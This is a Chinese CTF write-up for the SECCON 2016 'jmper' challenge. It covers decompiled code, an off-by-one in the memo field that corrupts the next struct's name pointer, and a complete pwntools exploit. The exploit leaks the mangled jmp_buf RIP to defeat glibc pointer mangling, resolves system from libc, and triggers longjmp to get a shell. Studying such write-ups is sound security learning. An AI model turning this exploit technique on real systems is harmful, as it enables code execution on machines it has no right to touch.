SECCON-2016 jmper

0x00:

ZCTF2017 的class的原型应该就是这个题目,在复现的时候,就从这个题目开始做起。

0x01:vuln

关键逻辑的代码如下

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void __noreturn handle()
{
char v0; // [sp+3h] [bp-1Dh]@13
char v1; // [sp+3h] [bp-1Dh]@23
int index; // [sp+4h] [bp-1Ch]@8
int v3; // [sp+8h] [bp-18h]@2
int i; // [sp+Ch] [bp-14h]@12
__int64 student_name; // [sp+10h] [bp-10h]@12
student *student; // [sp+18h] [bp-8h]@6
student_num = 0;
while ( 1 ) // show student name
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
puts("1. Add student.\n2. Name student.\n3. Write memo\n4. Show Name\n5. Show memo.\n6. Bye :)");
__isoc99_scanf("%d", &v3);
getchar();
if ( v3 != 1 )
break;
if ( student_num > 29 ) // check num
{
puts("Exception has occurred. Jump!");
longjmp(jmpbuf, 0x1BF52);
}
student = (student *)malloc(48uLL); // add student
student->id = student_num;
student->name = malloc(32uLL);
*(_QWORD *)(my_class + 8LL * student_num++) = student;
}
if ( v3 != 2 )
break;
printf("%s", "ID:"); // name student
__isoc99_scanf("%d", &index);
getchar();
if ( index >= student_num || index < 0 )
{
puts("Invalid ID.");
exit(1);
}
printf("%s", "Input name:");
student_name = *(_QWORD *)(*(_QWORD *)(my_class + 8LL * index) + 40LL);// get ptr
for ( i = 0; i <= 32; ++i )
{
v0 = getchar();
if ( v0 == '\n' )
break;
*(_BYTE *)student_name++ = v0;
}
}
if ( v3 != 3 )
break;
printf("%s", "ID:"); // write memo
__isoc99_scanf("%d", &index);
getchar();
if ( index >= student_num || index < 0 )
{
puts("Invalid ID.");
exit(1);
}
printf("%s", "Input memo:");
student_name = *(_QWORD *)(my_class + 8LL * index) + 8LL;
for ( i = 0; i <= 32; ++i ) // write one more byte
{
v1 = getchar();
if ( v1 == '\n' )
break;
*(_BYTE *)student_name++ = v1;
}
}
if ( v3 != 4 )
break;
printf("%s", "ID:"); // show name
__isoc99_scanf("%d", &index);
getchar();
if ( index >= student_num || index < 0 )
{
puts("Invalid ID.");
exit(1);
}
printf("%s", *(_QWORD *)(*(_QWORD *)(my_class + 8LL * index) + 40LL));
}
if ( v3 != 5 )
break;
printf("%s", "ID:"); // show memo
__isoc99_scanf("%d", &index);
getchar();
if ( index >= student_num || index < 0 )
{
puts("Invalid ID.");
exit(1);
}
printf("%s", *(_QWORD *)(my_class + 8LL * index) + 8LL);
}
exit(0);
}

结构体:

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student struct {
_QWORD id;
_BYTE memo[32];
_QWORD *name;
}

编辑memo的时候有个off by one,导致可以覆盖下一个student结构体的name指针的最后一个字节。

0x02:think

student结构体在内存里的布局大概这个样子:

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stud1:
--------------------------
| |
| id |
| memo_buf[0x20] |
| name -----------------|-----
| | |
-------------------------- |
|
|
|
name1: |
-------------------------- <--|
| |
| name_buf |
| |
--------------------------

先分配五个这样的结构体,然后修改student2的name指针,使其指向student3的name。
这样,通过name、memo的write和show功能就可以获取任意地址读写的能力了。

有了这个基础后,因为程序使用了jmpbuffer,会把一些寄存器信息加密后存储在jmpbuffer,我们有任意地址读写之后:

  • 只需要leak出和jmpbuffer的偏移
  • 泄露出stored rip,和真实的rip xor后得到secret xor 值,
  • 随便泄露一个函数,然后根据libc确定system函数地址
  • 然后,直接修改寄存器的值,然后触发longjmp,就可以代码执行了。

0x03:exploit

win10 subsystem 上测试通过。

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from pwn import *
#context.log_level = 'debug'
context.arch='amd64'
LOCAL = True
if LOCAL:
p = process('./jmper',raw=False)
else:
p = remote('127.0.0.1',10001)
elf = ELF('./jmper')
libc = ELF('./libc-2.19.so-8674307c6c294e2f710def8c57925a50e60ee69e')
printf_got = elf.got['printf']
def rerol(d):
return ((d<<(64-0x11))+(d>>0x11))&0xffffffffffffffff
def rol(d):
return ((d<<0x11) + (d>>(64-0x11)))&0xffffffffffffffff
def add_student():
p.recvuntil(':)')
p.sendline('1')
def name_student(id,name):
p.recvuntil(':)')
p.sendline('2')
p.recvuntil('ID:')
p.sendline(str(id))
p.recvuntil('name:')
p.sendline(str(name))
def memo_student(id,memo):
p.recvuntil(':)')
p.sendline('3')
p.recvuntil('ID:')
p.sendline(str(id))
p.recvuntil('memo:')
p.sendline(str(memo))
def show_name(id):
p.recvuntil(':)')
p.sendline('4')
p.recvuntil('ID:')
p.sendline(str(id))
def show_memo(id):
p.recvuntil(':)')
p.sendline('5')
p.recvuntil('ID:')
p.sendline(str(id))
def exit_():
p.recvuntil(':)')
p.sendline('6')
def get_shell():
for __ in xrange(0,25):
add_student()
add_student()
def main():
#raw_input('0x0000000000400B99')
log.info('printf got : %s' % (hex(printf_got)))
add_student()
add_student()
add_student()
add_student()
add_student()
name_student(0,'A')
name_student(1,'B')
name_student(2,'C')
name_student(3,'D')
name_student(4,'E')
memo_student(0,'a')
memo_student(1,'b')
memo_student(2,'c')
memo_student(3,'d')
memo_student(4,'e')
#get jmp buffer offset
memo_student(1,'c' * 0x20 + '\xe8')
name_student(1,'A')
show_name(1)
dump = p.recvline()
jmp_buffer_lsw = ((ord(dump[1]) &0xf0) << 8) | 0x110
log.info("Got jmpbuffer offset %x" % jmp_buffer_lsw)
#get xor word
rip_addr = jmp_buffer_lsw + 0x38
name_student(1,p16(rip_addr))
show_name(2)
dump = p.recvline()
rip_stored = unpack(dump[:8])
log.info("Got stored rip : %s" % hex(rip_stored))
rip = rerol(rip_stored)
secret_xor = rip ^ 0x400c31
log.info("Got xor vaule : %s" % hex(secret_xor))
#rbx /bin/sh
rip_addr = jmp_buffer_lsw
name_student(1,p16(rip_addr))
name_student(2,"/bin/sh")
#leak addr and get system's addr
name_student(1,p64(printf_got))
show_name(2)
printf_addr = u64(p.recv(6).ljust(8,'\x00'))
log.info('leak printf : %s' % hex(printf_addr))
libc_base = printf_addr - libc.symbols['printf']
system_addr = libc_base + libc.symbols['system']
log.info('system addr : %s' % hex(system_addr))
new_rip = system_addr ^ secret_xor
new_rip = rol(new_rip)
log.info('New rip is : %s' % hex(new_rip))
memo_student(3,"D" * 0x20 + "\xc8")
name_student(3,p16(jmp_buffer_lsw+0x38))
name_student(4,p64(new_rip))
get_shell()
p.interactive()
if __name__ == '__main__':
main()

0x04:reference

write-ups-2016
第三届XCTF——郑州站ZCTF第一名战队Writeup]

文章目录
  1. 1. 0x00:
  2. 2. 0x01:vuln
  3. 3. 0x02:think
  4. 4. 0x03:exploit
  5. 5. 0x04:reference
,